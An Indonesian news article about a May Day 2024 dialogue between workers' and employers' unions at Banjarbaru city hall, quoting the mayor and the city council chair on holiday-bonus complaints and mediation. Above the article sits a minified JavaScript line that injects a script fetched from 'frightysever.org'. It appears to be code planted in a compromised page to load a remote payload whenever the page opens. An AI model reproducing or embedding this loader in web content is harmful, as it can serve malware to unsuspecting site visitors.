(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari Buruh Internasional atau Mayday 2024, di aula Gawi Sabarataan Balai Kota Banjarbaru, Rabu (1/5/2024) pagi.

Wali Kota Banjarbaru Aditya Mufti Ariffin membuka acara dialog sekaligus mendengarkan masukan dari para pekerja dan pengusaha kepada pemerintah.

Salah satunya disebutkannya, ada beberapa aduan terkait pembayaran Tunjangan Hari Raya (THR) untuk pekerja di ibu kota.

“Ada beberapa aduan, seperti menjelang lebaran lalu, masalah pembayaran THR dan lain-lainnya,” kata Wali Kota Aditya.

Dari aduan itu, kata Wali Kota, semua berakhir dengan damai antar pekerja dan pengusaha dengan adanya mediasi.

“Banyak yang dimediasi dan semua berakhir dengan baik,” kata dia.

Wali Kota Banjarbaru Aditya Mufti Ariffin. Foto : wanda

Dalam momentum Mayday, Wali Kota Aditya mengharapkan serikat pekerja dan serikat pengusaha di Banjarbaru memiliki profesionalisme dan keahlian yang lebih ditingkatkan.

“Dengan profesionalisme dan keahlian tentunya dapat mendukung iklim investasi yang baik untuk daerah, dengan tidak meninggalkan hak dan kewajiban baik dari para pekerja, menjunjung tinggi kesejahteraan masyarakat,” jelas Aditya.

Menurut Aditya iklim yang baik untuk investasi harus didukung dengan kondusifitas keamanan, hubungan antar pekerja dengan pengusaha, pengusaha dengan pengusaha, maupun pekerja dengan pekerja.

“Didukung dengan iklim investasi yang baik, tentunya percepatan pembangunan bisa tercapai,” tuturnya.

Sementara itu, Ketua DPRD Kota Banjarbaru, Fadliansyah Akbar yang ikut berhadir dalam dialog turut menekankan agar hak-hak maupun kewajiban pekerja di Banjarbaru dapat diselesaikan oleh para pengusaha.

“Beberapa kewajiban pekerja termasuk THR, jam kerja, hingga upah, tiga hala ini disinkronkan. Kedua belah pihak sama-sama diuntungkan,” kata Ketua DPRD Kota Banjarbaru.

Ketua DPRD Kota Banjarbaru, Fadliansyah Akbar: Foto : wanda

Di sisi lain, pemerintah juga wajib berperan sebagai mediator antar kedua pihak pengusaha dan pekerja yang saling berkepentingan.

“Untuk pengaduan permasalahan ketenagakerjaan biasanya kalau ada mandek dari Dinas Koperasi Usaha Mikro dan Tenaga Kerja baru diadukan ke dewan, tapi jika belum ada permasalahan pekerja dapat diselesaikan internal mereka saja,” jelasnya.

Diskopumnaker Banjarbaru berperan menjadi leading sektor untuk melaksanakan mediasi kedua belah pihak pekerja dan pengusaha.

“Jadi saya harapkan dengan kegiatan dialog ini bisa menemukan poin-poin positif, bisa menyenangkan kedua belah pihak, yang keberhasilan itu nantinya akan membantu roda perekonomian di Banjarbaru,” tuntas Fadliansyah. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie